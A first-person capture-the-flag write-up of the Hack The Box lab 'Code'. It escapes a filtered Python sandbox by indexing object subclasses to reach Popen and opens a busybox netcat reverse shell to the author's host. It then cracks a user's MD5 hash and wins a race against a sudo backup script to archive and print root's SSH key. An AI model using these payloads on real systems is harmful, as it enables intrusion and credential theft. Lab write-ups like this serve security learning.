![[Hack The Box/Code/IntroImage.png]] ## Summary of Exploitation Hey all, today I pwned Code from Hack the Box. This was an easy machine that actually stumped me for a bit. An exposed high numbered port webserver contained a sandboxed python interpreter with a very strict filtering system. I was able to achieve RCE by finding Popen among the subclasses and danced around the filters to execute it. After gaining a shell, I found user credentials in the webservers db file. Vulnerable sudo privs on a, what I assumed to be, self programmed archive binary allowed me to exploit a race condition which allowed me to archive the root directory. All I needed to do was extract the id_rsa and I had a root shell. Lets get started! ## Recon Phase As always, I start with my tried and true nmap scan `sudo nmap -sC -sV -p- --min-rate 10000 10.129.231.240 -Ao nmap-out` ``` Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 17:32 EDT Nmap scan report for 10.129.231.240 Host is up (0.022s latency). Not shown: 65533 closed tcp ports (reset) PORT     STATE SERVICE VERSION 22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) | ssh-hostkey:   |   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA) |   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA) |_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519) 5000/tcp open  http    Gunicorn 20.0.4 |_http-server-header: gunicorn/20.0.4 |_http-title: Python Code Editor Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 3389/tcp) HOP RTT      ADDRESS 1   21.10 ms 10.10.14.1 2   21.38 ms 10.129.231.240 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.50 seconds ``` | Port | Protocol | Protocol Details | | ---- | -------- | ---------------- | | 22 | ssh | OpenSSH 8.2p1 | | 5000 | http | Gunicorn 20.0.4 | Looks like we have a pretty standard issue ubuntu web server, with the exception of the webserver being on port 5000. The webserver is python based Gunicorn server. I'll take note of that and check it out by adding it to my /etc/hosts file. > [!NOTE] Note: > The Python Code Editor only worked for me on Firefox ![[PythonCodeEditor.png]] Looks like we have a plain and simple python code editor. Along with the ability to login, register. Clicking about displays a modal explaining what Code is. ![[About_modal_code.png]] Writing and running code directly in the browser speaks to me. Before I go sending off arbitrary code, I'll check out the register feature and login. ![[register_code.png]] Now I'll login as cn0x. ![[LoggedIn_code.png]] Now I have the ability to save code and reference it. ![[SaveCode_code.png]] ![[CodeSaved_code.png]] ![[MyCodes_code.png]] I tried inputting some XSS lines and nothing worked. I noticed that when I loaded some code the url shows a parameter. ``` http://code.htb:5000/?code_id=2 ``` I tried exploiting some RID brute forcing by inputting different numbers and nothing changed. I'll run feroxbuster and see if there are any hidden directories. ![[feroxbuster_code.png]] Nothing ground-breaking. After some more light recon, I think it's safe to assume my next step is to try and escape the sandbox. ## Exploitation Phase I'll start with something simple, like running some os.system commands. ![[ossystem_cmd_code.png]] So there is definitely some filtering in place, Hacktricks has an entire section about breaking out of Python sandboxes [here](https://hacktricks.boitatech.com.br/misc/basic-python/bypass-python-sandboxes). I first tried to execute code with already imported libraries, such as Popen, system, pty.spawn etc. but I just kept getting "Use of restricted keywords is not allowed." It was until I started seeing that line in my dreams that I realized it was time for a new approach. I did some reading deeper in the article and learned that I can discover dangerous functions loaded in memory by printing the classes. I can then execute them using the offset. ![[noBuiltins_code.png]] I don't know the number associated with a dangerous function, so I'll have to find one. On the browser, I'll run a command to print all the classes. ``` s = ().__class__.__bases__[0].__subclasses__() print(s) ``` ![[PrintClasses_code.png]] Excellent, finally something useful. Now I need to print the number associated with a dangerous function, the index of the function. I can do that by doing this: First I need to loop through the indices of s. ``` s = ().__class__.__bases__[0].__subclasses__() for i in range(len(s)): ``` I can use len to get the number of interables in the list of subclasses. and I can use range to make it iterable. Now when I print, I'll get the numbers from 0 to the end. ``` s = ().__class__.__bases__[0].__subclasses__() for i in range(len(s)): print(i) ``` ![[numbers_code.png]] Now all I need to do is (HOPE) associate one of these numbers to a dangerous function. I can do that by printing `i, s[i]`. and adding an if statement to check and see if the dangerous function matches anything in the list. Keep in mind to convert `s[i]` to a string. ``` s = ().__class__.__bases__[0].__subclasses__() for i in range(len(s)): if 'system' in str(s[i]).lower(): print(i, s[i]) ``` ![[noObduscation_code.png]] Well, It's got to be the word system, I'll obfuscate the word system and hopefully that will bypass this filter. ``` s = ().__class__.__bases__[0].__subclasses__() for i in range(len(s)): if 's'+'y'+'stem' in str(s[i]).lower(): print(i, s[i]) ``` ![[Blank_code.png]] blank, but this is good, system in not available to us, so I'll replace system and check for popen. ![[PoepnAllowed_code.png]] Awesome! we can potentially access popen covertly using `s[317]`. Now I need to craft the POC command. ``` s = ().__class__.__bases__[0].__subclasses__() print(s[317](['id'], stdout=subprocess.PIPE).communicate()) ``` ![[finalCommandError.png]] ![[AngryLaptop.gif]] I prayed that it wasn't the command being caught by the filter and actually just the word "subprocess". It's not a string, so I cant simply obfuscate it, I actually had to do some research. Turns out you can print subprocess.PIPE and it returns -1, so instead of subprocess.PIPE we can just replace it with -1. ``` s = ().__class__.__bases__[0].__subclasses__() print(s[317](['id'], stdout=-1).communicate()) ``` ![[CodeExecution_code.png]] That is a sight for sore eyes, literally. I can alter the code to achieve a shell as app-production. ``` s = ().__class__.__bases__[0].__subclasses__() cmd = '/bin/sh' arg = 'busybox nc 10.10.14.115 9001 -e /bin/bash' print(s[317]([cmd, '-c', arg], stdout=-1).communicate()) ``` and set a listener ``` nc -lvnp 9001 ``` And we finally have a shell as app-production. ``` > sudo nc -lvnp 9001 [sudo] password for kali:   listening on [any] 9001 ... connect to [10.10.14.115] from (UNKNOWN) [10.129.231.240] 55296 id uid=1001(app-production) gid=1001(app-production) groups=1001(app-production) ``` I can spawn a fully interactable shell using my [[Fully Functional Shell Trick for zsh|tty trick]]. ``` python3 -c 'import pty; pty.spawn("/bin/bash")' Ctrl ^Z stty raw -echo && fg reset screen export TERM=xterm ``` and grab the user flag! ``` app-production@code:~/app$ cd .. app-production@code:~$ ls app  user.txt app-production@code:~$ cat user.txt   31e13************************ ``` ## Priv-Esc to Martin I remember there being a way to register my account, I assume there must be a database storing those creds, I looked around and found it! ``` app-production@code:~/app/instance$ ls -la total 24 drwxr-xr-x 2 app-production app-production  4096 Apr 13 21:47 . drwxrwxr-x 6 app-production app-production  4096 Feb 20 12:10 .. -rw-r--r-- 1 app-production app-production 16384 Apr 13 23:20 database.db ``` I'll run strings on it and check for creds! ``` app-production@code:~/app/instance$ strings database.db   SQLite format 3 tablecodecode CREATE TABLE code (        id INTEGER NOT NULL,          user_id INTEGER NOT NULL,          code TEXT NOT NULL,          name VARCHAR(100) NOT NULL,          PRIMARY KEY (id),          FOREIGN KEY(user_id) REFERENCES user (id) 7tableuseruser CREATE TABLE user (        id INTEGER NOT NULL,          username VARCHAR(80) NOT NULL,          password VARCHAR(80) NOT NULL,          PRIMARY KEY (id),          UNIQUE (username) indexsqlite_autoindex_user_1user Mmartin3de6f3***************************/ #Mdevelopment759b74ce43947f5f4c91aeddc3e5bad3 martin #       development print("Functionality test")Test ``` Awesome! an md5 hash for the user martin who has a home folder on this machine. I'll check to see if the hash cracks on crackstation. ![[crackstation_code.png]] Nice! Now I just need to check for password reuse using SSH. ``` > ssh [email protected] [email protected]'s password:   Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64) * Documentation:  https://help.ubuntu.com * Management:     https://landscape.canonical.com * Support:        https://ubuntu.com/pro System information as of Sun 13 Apr 2025 11:38:55 PM UTC  System load:           0.09  Usage of /:            51.2% of 5.33GB  Memory usage:          15%  Swap usage:            0%  Processes:             238  Users logged in:       0  IPv4 address for eth0: 10.129.231.240  IPv6 address for eth0: dead:beef::250:56ff:feb0:d5f3 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Apr 13 23:38:56 2025 from 10.10.14.115 martin@code:~$ ``` We are in as Martin! ## Priv-Esc to root Alright, First I'll check and see if Martin has any sudo privs using `sudo -l` ``` martin@code:~$ sudo -l Matching Defaults entries for martin on localhost:    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User martin may run the following commands on localhost:    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh ``` Looks like Martin can run some custom bash script as root. I'll cat the script and see what it does. ``` #!/bin/bash if [[ $# -ne 1 ]]; then    /usr/bin/echo "Usage: $0 <task.json>"    exit 1 fi json_file="$1" if [[ ! -f "$json_file" ]]; then    /usr/bin/echo "Error: File '$json_file' not found."    exit 1 fi allowed_paths=("/var/" "/home/") updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file") /usr/bin/echo "$updated_json" > "$json_file" directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]') is_allowed_path() {    local path="$1"    for allowed_path in "${allowed_paths[@]}"; do        if [[ "$path" == $allowed_path* ]]; then            return 0        fi    done    return 1 } for dir in $directories_to_archive; do    if ! is_allowed_path "$dir"; then        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."        exit 1    fi done /usr/bin/backy "$json_file" ``` Looks like this script checks for a json file, then it sets some variables, one restricting paths to home and var, and another checking if the path in "directories to archive" has any `../`. Once all the checks pass, the script runs a binary called backy. I'll run file on backy to see what it is. ``` martin@code:~$ file /usr/bin/backy /usr/bin/backy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=RWqjP0EHFxWRL9SxAzvR/3-TEtzva44_xlRAMnq1A/OtYOmubKIkGHYUBMolai/2rhkvEyKOF9Rp_sQ7C0l, not stripped ``` looks like backy is a go binary, there is no mention of it online which leads me to believe its custom. Executing the binary on my own shows that its on version 1.2 and looking for a json file. ``` martin@code:~$ backy 2025/04/14 00:54:54 🍀 backy 1.2 2025/04/14 00:54:54 ❗ No task configuration provided 2025/04/14 00:54:54 🔰 Usage: backy <task.json> ``` Looking around in martins home dir we see all the pieces and backups involved in this process, including the json file, `task.json` ``` martin@code:~/backups$ ls -la total 20 drwxr-xr-x 2 martin martin 4096 Apr 14 00:50 . drwxr-x--- 6 martin martin 4096 Apr  8 11:50 .. -rw-r--r-- 1 martin martin 5879 Apr 14 00:50 code_home_app-production_app_2024_August.tar.bz2 -rw-r--r-- 1 martin martin  181 Apr 14 00:50 task.json ``` Looking at the contents of task.json, the idea is very clear. ``` {        "destination": "/home/martin/backups/",        "multiprocessing": true,        "verbose_log": false,        "directories_to_archive": [                "/home/app-production/app"        ],        "exclude": [                ".*"        ] } ``` My first idea is I could abuse symlinks, this would theoretically allow me to archive a directory that isn't written as root, but is linked to root. I can do that by making these changes to the task.json file. ``` {  "destination": "/home/martin/backups/",  "multiprocessing": true,  "verbose_log": false,  "directories_to_archive": [    "/home/martin/backups/symlinkDir"  ] } ``` Now create a symlink from my symlinkDir to root. ``` martin@code:~/backups$ mkdir symlinkDir martin@code:~/backups$ ln -s /root /home/martin/backups/symlinkDir/ ``` Now run it. ``` martin@code:~/backups$ sudo /usr/bin/backy.sh task.json   2025/04/14 01:06:06 🍀 backy 1.2 2025/04/14 01:06:06 📋 Working with task.json ... 2025/04/14 01:06:06 💤 Nothing to sync 2025/04/14 01:06:06 📤 Archiving: [/home/martin/backups/symlinkDir] 2025/04/14 01:06:06 📥 To: /home/martin/backups ... 2025/04/14 01:06:06 📦 ``` ``` drwxr-xr-x 3 martin martin 4096 Apr 14 01:06 . drwxr-x--- 6 martin martin 4096 Apr  8 11:50 .. -rw-r--r-- 1 martin martin 5879 Apr 14 01:00 code_home_app-production_app_2024_August.tar.bz2 -rw-r--r-- 1 root   root    185 Apr 14 01:06 code_home_martin_backups_symlinkDir_2025_April.tar.bz2 drwxrwxr-x 2 martin martin 4096 Apr 14 01:04 symlinkDir -rw-r--r-- 1 martin martin  169 Apr 14 01:06 task.json ``` I have my backup, I just need to unzip it and see if it worked. ``` martin@code:~/backups$ tar -xvjf code_home_martin_backups_symlinkDir_2025_April.tar.bz2 -C /tmp home/martin/backups/symlinkDir/ home/martin/backups/symlinkDir/root ``` So far not promising, since there wasn't a spill of the other files in root. and when I verified, I got permissions issues. ``` martin@code:/tmp/home/martin/backups/symlinkDir$ ls root martin@code:/tmp/home/martin/backups/symlinkDir$ cd root -bash: cd: root: Permission denied ``` I tried this idea for a while with some different tweaks, but made no progress. I scratched my head for a bit here. I stepped away and came back another day. I revisited the backy.sh script and noticed a potential race condition exploit. This line right here is the culprit. ``` updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file") /usr/bin/echo "$updated_json" > "$json_file" ``` The bad json is being overwritten with the good json, then backy is being called as root. If I run a script that just constantly copies a json file that archives the root ssh dir to task.json, and spam the command, I should be able to just bypass the script. lets give it try, first I'll draft the evil task. ``` { "destination": "/tmp", "multiprocessing": true, "verbose_log": true, "directories_to_archive": [ "/root/.ssh" ] } ``` And here is the loop that will constantly set the json file. ``` while true; do    cp evil.json task.json done ``` Now, in separate terminal, I just need to run the script and spam the command. ![[RaceCondition.gif]] Now I just need to unzip the archive and I should have the root id_rsa. ``` martin@code:/tmp$ tar -xvjf code_root_.ssh_2025_April.tar.bz2 -C /tmp root/.ssh/ root/.ssh/id_rsa root/.ssh/authorized_keys martin@code:/tmp$ cat root/.ssh/id_rsa   -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAvxPw90VRJajgkjwxZqXr865V8He/HNHVlhp0CP36OsKSi0DzIZ4K sqfjTi/WARcxLTe4lkVSVIV25Ly5M6EemWeOKA6vdONP0QUv6F1xj8f4eChrdp7BOhRe0+ zWJna8dYMtuR2K0Cxbdd+qvM7oQLPRelQIyxoR4unh6wOoIf4EL34aEvQDux+3GsFUnT4Y MNljAsxyVFn3mzR7nUZ8BAH/Y9xV/KuNS ``` Nice! All that's left is to copy it over to my machine and ssh as root. ``` > vi id_rsa > chmod 600 id_rsa > ssh -i id_rsa [email protected] Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64) * Documentation:  https://help.ubuntu.com * Management:     https://landscape.canonical.com * Support:        https://ubuntu.com/pro System information as of Mon 14 Apr 2025 01:29:35 AM UTC  System load:           0.0  Usage of /:            51.4% of 5.33GB  Memory usage:          14%  Swap usage:            0%  Processes:             238  Users logged in:       1  IPv4 address for eth0: 10.129.231.240  IPv6 address for eth0: dead:beef::250:56ff:feb0:d5f3 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Mon Apr 14 01:29:36 2025 from 10.10.14.115 root@code:~# ``` And grab the root.txt ``` root@code:~# cat /root/root.txt   0a9f8************************** ``` Well I'm glad I saw it through, My free hacking time is limited these days. This lab needed to be finished because the paths were just too cool. I hope you enjoyed and learned something. Happy Hacking!